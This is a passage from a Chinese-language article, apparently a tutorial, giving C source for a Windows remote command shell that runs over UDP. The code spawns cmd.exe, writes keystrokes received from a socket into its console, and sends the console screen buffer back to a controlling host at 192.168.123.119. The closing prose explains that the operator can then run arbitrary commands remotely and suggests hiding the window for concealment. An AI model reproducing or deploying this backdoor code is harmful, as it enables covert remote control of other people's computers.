台窗口显示出来。 SetConsoleCtrlHandler( HandlerRoutine,TRUE ); // 设置控制台钩子。第一个参数 是函数指针,就是上面的那个函数。第二个参数是标志,如果为 TRUE 那么就安装钩子, 如果为 FALSE 那么删除钩子 safe_attrib.nLength = sizeof(SECURITY_ATTRIBUTES); safe_attrib.lpSecurityDescriptor = NULL; safe_attrib.bInheritHandle = TRUE; hConsoleOutput = CreateConsoleScreenBuffer( GENERIC_READ|GENERIC_WRITE, // 为控制台创建额外的屏幕缓冲区 FILE_SHARE_READ|FILE_SHARE_WRITE, &safe_attrib, CONSOLE_TEXTMODE_BUFFER, NULL); ...... SetConsoleScreenBufferSize( hConsoleOutput , dwSize ); SetConsoleActiveScreenBuffer( hConsoleOutput ); //设置为当前控制台的缓冲区 //创建一个 cmd.exe 进程,输出指向了当前控制台的屏幕缓冲区 lpStartupInfo.cb = sizeof(STARTUPINFO); lpStartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; lpStartupInfo.wShowWindow = SW_SHOW; lpStartupInfo.hStdError = hConsoleOutput; lpStartupInfo.hStdOutput = hConsoleOutput; lpStartupInfo.hStdInput = GetStdHandle( STD_INPUT_HANDLE ); while (TRUE) { if(!CreateProcess(0,"C:\\WINDOWS\\system32\\cmd.exe", 0 ,0 , 0 , 0 , 0 , 0 , &lpStartupInfo , &lpProcessInformation ) ) //创建的 CMD 输出到指定的控制台 屏幕缓冲区 { MessageBox( 0,"create process failed",NULL,MB_OK ); CloseHandle( MutexClient ); CloseHandle( hConsoleOutput ); closesocket( hsocket ); WSACleanup(); return 0; } while (RecvKeyInfo()) //接收发送端数据,发送屏幕缓冲区数据 { if( WAIT_TIMEOUT != WaitForSingleObject ( lpProcessInformation.hProcess , 100 ) ) { break; } } TerminateProcess( lpProcessInformation.hProcess ,0 ); CloseHandle( lpProcessInformation.hProcess ); CloseHandle( lpProcessInformation.hThread ); } return 0; } BOOL RecvKeyInfo() { DWORD NumberOfCharsRead; struct sockaddr fromSockaddr; COORD dwReadCoord; KEY_INFO buffer; CONSOLE_BUFFER sendBuffer; int fromlen = sizeof(fromSockaddr); //从 socket 接收数据存入 buffer if(0 <= recvfrom( hsocket, (PCHAR)(&buffer) , sizeof(KEY_INFO) , 0 , &fromSockaddr, &fromlen ) ) { switch( buffer.packhead.packType ) { case KEY_NO_CTRL: WriteConsoleInput( GetStdHandle(STD_INPUT_HANDLE) ,&buffer.Key , 1 , &NumberOfCharsRead ); //将 buffer 数据写入控制台输入缓存 //GetStdHandle 获 取当前的标准输入(STDIN)和标准输出(STDOUT)设备句柄 break; case KEY_CTRL_C: GenerateConsoleCtrlEvent( CTRL_C_EVENT , NULL ); //GenerateConsoleCtrlEvent 函数可以产生 CTRL_C_EVENT 和 CTRL_BREAK_EVENT 事件 break; case KEY_CTRL_BRAK: GenerateConsoleCtrlEvent( CTRL_BREAK_EVENT , NULL); break; default: if( ( GetTickCount() - cout) > 1000 ) { return TRUE; }else{ cout = GetTickCount(); } break; } } GetLastError(); dwReadCoord.X = 0; dwReadCoord.Y = 0; memset(&sendBuffer.Character , 0x20202020 , 8000); sendBuffer.wCodePageID = GetConsoleOutputCP(); //控制台的输出代码页 ReadConsoleOutputAttribute( hConsoleOutput ,(WORD *)&sendBuffer.Attribute , 8000 , dwReadCoord , &NumberOfCharsRead); ReadConsoleOutputCharacter( hConsoleOutput , (PCHAR)&sendBuffer.Character , 8000 , dwReadCoord , &NumberOfCharsRead); //获得控制台的输出数据,以便接下 来发送 GetConsoleScreenBufferInfo ( hConsoleOutput , &sendBuffer.csb); SendSreenBuffer( KEY_SREEN , &sendBuffer , sizeof(CONSOLE_BUFFER)); //向 192.168.123.119 发送控制台输出数据 return TRUE; } 以上是程序的代码实现,测试效果如图一所示。当远程被控端通过 UDP 协议连接上后, 就可以通过本地的控制端来远程运行各种 CMD 命令了,其结果也会实时地显示在本地控制端 的控制台上。为了隐蔽,我们可以将远程被控端的控制台窗口隐藏起来,只需将代码中的两 |